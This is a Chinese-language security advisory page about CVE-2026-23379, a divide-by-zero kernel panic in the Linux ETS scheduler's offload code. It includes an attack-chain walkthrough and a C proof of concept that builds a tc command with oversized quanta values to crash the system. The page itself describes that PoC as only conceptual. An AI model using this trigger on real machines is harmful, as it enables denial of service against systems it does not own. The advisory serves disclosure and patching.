IPBUF安全漏洞报告
English
CVE-2026-23379 CVSS 5.5 中危

CVE-2026-23379: Linux内核ETS模块除零漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23379
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

CVE-2026-23379Linux Kernel拒绝服务DoS内核漏洞除零错误整数溢出

漏洞概述

Linux内核中的ETS调度器在卸载路径中存在除零错误漏洞。该漏洞由于在计算WRR权重时使用32位无符号整数累加配额总和,导致整数溢出。溢出可能使除数变为零,进而触发内核恐慌。本地低权限攻击者可利用此漏洞导致系统崩溃,造成拒绝服务。

技术细节

该漏洞位于Linux内核的`net/sched/ets.c`文件中的`ets_offload_change`函数。在启用ETS(增强传输选择)卸载功能时,内核需要计算每个类的加权轮询(WRR)权重。此过程涉及将各个DRR(差额轮询)的配额值累加到`q_sum`和`q_psum`变量中。由于这些变量被声明为32位无符号整数(unsigned int),当累加的配额总和超过2^32时,会发生整数回绕溢出。溢出后的值可能变为0,导致后续计算中的除法操作出现除以零的情况。根据堆栈跟踪,崩溃点位于`ets_offload_change`指令处,引发内核恐慌。修复方案是将相关变量类型提升为64位无符号整数(u64),以扩大数值范围防止溢出。

攻击链分析

STEP 1
步骤1: 获取本地访问权限
攻击者需要在目标Linux系统上拥有本地访问权限,并具备CAP_NET_ADMIN能力(通常是普通用户或提权后)。
STEP 2
步骤2: 构造恶意配置参数
攻击者设计特定的ETS(增强传输选择)流量控制配置,设置巨大的quanta(配额)值,故意使32位整数累加器溢出。
STEP 3
步骤3: 执行加载指令
攻击者通过tc命令或Netlink接口将恶意配置应用到网络接口的qdisc(队列规则)上,触发内核的ets_offload_change函数。
STEP 4
步骤4: 触发除零异常
内核在计算WRR权重时,因累加器溢出导致除数为零,触发CPU硬件异常,进而引发内核恐慌和系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> /* * PoC for CVE-2026-23379 * Trigger divide-by-zero in Linux Kernel net/sched/ets offload path * Requires CAP_NET_ADMIN privileges (typically root). */ void main() { printf("[*] CVE-2026-23379 PoC: Triggering ETS offload divide by zero...\n"); // The vulnerability is triggered by setting quanta values that sum up // to overflow a 32-bit unsigned integer, causing q_sum to be 0. // This typically involves creating a qdisc with specific large values. // Below is a conceptual representation of the trigger via 'tc' command. // In a real exploit scenario, the attacker crafts a netlink message // or uses the 'tc' utility to configure the 'ets' qdisc with // quanta values that result in an overflow (e.g., values near UINT_MAX). char *cmd = "tc qdisc add dev eth0 root handle 1: ets bands 8 priomap 0 1 2 3 4 5 6 7 quanta 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000"; // Note: The specific values depend on the kernel's internal calculation logic. // The exploit aims to make 'q_sum' wrap to 0. printf("[*] Executing command to trigger kernel panic...\n"); printf("Command: %s\n", cmd); // system(cmd); // DO NOT RUN UNLESS IN A TEST ENVIRONMENT printf("[!] If vulnerable, the kernel will panic (Oops: divide error).\n"); }

影响范围

Linux Kernel < 6.19 (Specific patches required from stable branches)
Linux Kernel versions with sch_ets offload enabled prior to commits 3912871344d6, 62015c05878e, etc.

防御指南

临时缓解措施
建议立即更新操作系统内核,应用官方发布的补丁程序,将`ets_offload_change`函数中的变量类型从32位整数升级为64位整数,以防止整数溢出。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表